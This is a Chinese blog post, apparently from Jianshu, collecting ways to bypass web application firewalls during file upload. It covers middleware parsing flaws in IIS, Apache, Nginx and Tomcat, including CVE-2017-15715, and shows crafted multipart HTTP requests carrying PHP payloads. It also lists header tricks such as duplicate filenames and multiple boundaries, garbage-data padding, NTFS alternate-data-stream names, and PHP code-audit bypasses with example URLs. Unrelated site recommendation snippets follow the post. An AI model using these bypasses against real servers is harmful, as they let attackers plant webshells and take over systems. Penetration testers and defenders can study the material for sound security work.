File_Upload ByPass WAF by L0st

中间件可解析的后缀

语言 可解析后缀
asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

中间件漏洞

IIS

  1. IIS6.0文件解析 xx.asp;.jpg
  2. IIS6.0目录解析 xx.asp/1.jpg
  3. IIS 7.0畸形解析 xxx.jpg/x.asp

Apache

  1. %0a(CVE-2017-15715)
  2. 未知后缀 test.php.xxx

Nginx

  1. 访问连接加/xxx.php test.jpg/xxx.php
  2. 畸形解析漏洞 test.jpg%00xxx.php或test.jpg%20.php
  3. CVE-2013-4547 test.jpg(非编码空格)\0x.php

Tomcat

  1. xxx.jsp/
  2. xxx.jsp%20
  3. xxx.jsp::$DATA

一个完整的Http request header:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 328
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

针对检查Request header的bypass

一般WAF检查两个点:

1. Content-Disposition: form-data; name="file_x"; filename="xx.jpg"
2. Content-Type:image/gif

0x01 引号处
name 和 filename 的两个双引号都是可以去掉,也可以改成单引号。

0x02 大小写

  • Content-Disposition
  • name
  • filename
    这三个关键词都可以进行大小写转换

0x03 加空格
: ; = 前后加一个或多个空格(filename后的等号前不要加)

0x04 去掉或修改Content-Disposition的值
Content-Disposition: name="file_x"; filename="xx.jpg"

0x05 交换name和filename的顺序
name,filename顺序可以交换,但Content-Disposition必须在最前面

0x06 多个boundary
添加多个boundary,会上传最后一个boundary的值,如果WAF只读取第一个即可绕过(IIS会取第一个Content-Disposition的值)

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

0x07 多个filename
最终成功上传shell.php,但正则匹配会匹配第一个
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="shell.php"

0x08 多个分号
文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"

0x09 在boundary前加字符
例如
Content-Type: multipart/form-data; bypass2222233333boundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

0x10 filename换行
filename处随意换行:
Content-Disposition: form-data; name="file_x"; fi lename="test.php"

0x11 在name和filename之间添加任意字符串
Content-Disposition: name="file_x"; bypass waf upload222333; filename="test.php";

0x12 IIS6.0下更改正文格式
可以将filename放到Content_Type下面去,如:

Content-Disposition: form-data; name="file_x"; 
Content-Type: application/octet-stream
filename="1.php"

0x13 Windows特殊字符

  1. 上传filename为shell.php{%80-%99}
    (在burpsuite的hex模块更改)
  2. 将[shell].php改成ascii>127的字符

0x14 NTFS ADS特性

上传文件名 服务器表明现象 生成的文件内容
test.php:a.jpg 生成test.php
test.php::$INDEX_ALLOCATION 生成test.php文件夹 Null
test.php::$DATA 生成test.php <?phpinfo;?>
test.php::$DATA.jpg 生成0.jpg <?phpinfo;?>
test.php::$DATA\aaa.jpg 生成aaa.jpg <?phpinfo;?>

0x15 不同的Boundary(IIS6.0+ASP)

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------244aaaaaaaaaa5
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

0x16 数据过长导致绕过

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd*10000000(此处省略...); filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

或者构造长文件名,不一定是'.',还可以是别的符号比如中文字符和emoji,要足够多,可能绕过文件重命名:
filename="shell.............................................................php"

针对文件内容验证绕过

0x01 检测文件头
即校验content-type(image/gif)
常见文件头

文件格式 文件头
jpg jpe jpeg JPGGraphic File
gif GIF 89A
zip Zip Compressed
doc xls xlt ppt apr MS Compound Document v1 or Lotus Approach APRfile

0x02 垃圾数据
有些WAF为了效率,会对检验的用户数据设置上限,比如1M,那么我们可以在数据包里添加垃圾数据,使前1M都是垃圾数据,后面的才是有效语句。

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa使劲加
<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

0x03 提交方法混淆
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。此种情况可以上传一个POST型的数据包,抓包将POST改为GET。然后仍然传输POST的数据

代码审计中的文件上传

关注empty(),iconv(),copy()等函数

  1. iconv() 在转换字符串编码时会出现截断问题:
    $filename="shell.php(hex).jpg" hex为0x80-0x99经过iconv转码后会变成 $filename="shell.php ";
  2. file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“<?”之类的waf
  3. 当file_put_contents、copy、file_get_contents等读取写入操作与unlink、file_exists等删除判断文件函数之间对于路径处理的差异导致的删除绕过:
<?php
$user=$_GET['user'];
var_dump($user);
echo $user['name'];
$filename = __DIR__.'\\'.$user['name'];
echo $filename;
$data = $user['info'];

file_put_contents($filename, $data);
if(file_exists($filename)){
unlink($filename);
}

当file_put_contents和file_exists、unlink等一起使用时可是导致绕过。
所以,linux可以通过xxxxx/../test.php、test.php/. 来绕过删除

windows可以通过test.php:test test.ph<来绕过文件删除

拿windows实例:

http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 会生成2.php

http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 会写入内容

最新的Apache(2.4.0-2.4.29)解析漏洞CVE-2017-15715(P师傅)

如今的apache以及无法解析shell.php.xxxxx类似的文件的。
利用条件:
获取文件名时不能用$_FILES['file']['name']因为他会自动把换行去掉,这一点有点鸡肋

但如果服务端是使用黑名单限制上传文件格式的,如:

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

我们上传一个包含换行符的文件即可绕过,即在burpsuite中shell.php后面添加一个hex格式的0A,
然后访问1.php%0A即可。

https://joychou.org/web/bypass-waf-of-file-upload.html
https://www.freebuf.com/column/161357.html
http://www.am0s.com/functions/386.html
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,841评论 5 472
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,415评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,904评论 0 333
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,051评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,055评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,255评论 1 278
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,729评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,377评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,517评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,420评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,467评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,144评论 3 317
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,735评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,812评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,029评论 1 256
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,528评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,126评论 2 341

推荐阅读更多精彩内容

  • 前言 WAF(Web Application Firewall),网站应用级入侵防御系统,通过执行一系列针对 HT...
    泡面办公室阅读 2,281评论 0 7
  • 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直...
    付出从未后悔阅读 1,117评论 0 4
  • 1.什么是解析漏洞 以其他格式执行出脚本格式的效果。 2.解析漏洞产生的条件 1.命名规则 2.搭建平台 3.常见...
    查无此人asdasd阅读 1,837评论 0 3
  • 回到家洗了个澡躺在床上,隔壁的女生突然大叫,下雪了。虽说不喜欢下雪,但忍不住探头出去看看。是下雪了。 10月份...
    十一区吴良阅读 310评论 0 0
  • 今天大盘在上周几乎是连续跌了一周,本周一又继续大跌的情况下,周二终于走出低迷,超跌反弹,今天誉有千年大计,清明小长...
    王沐妍阅读 164评论 0 1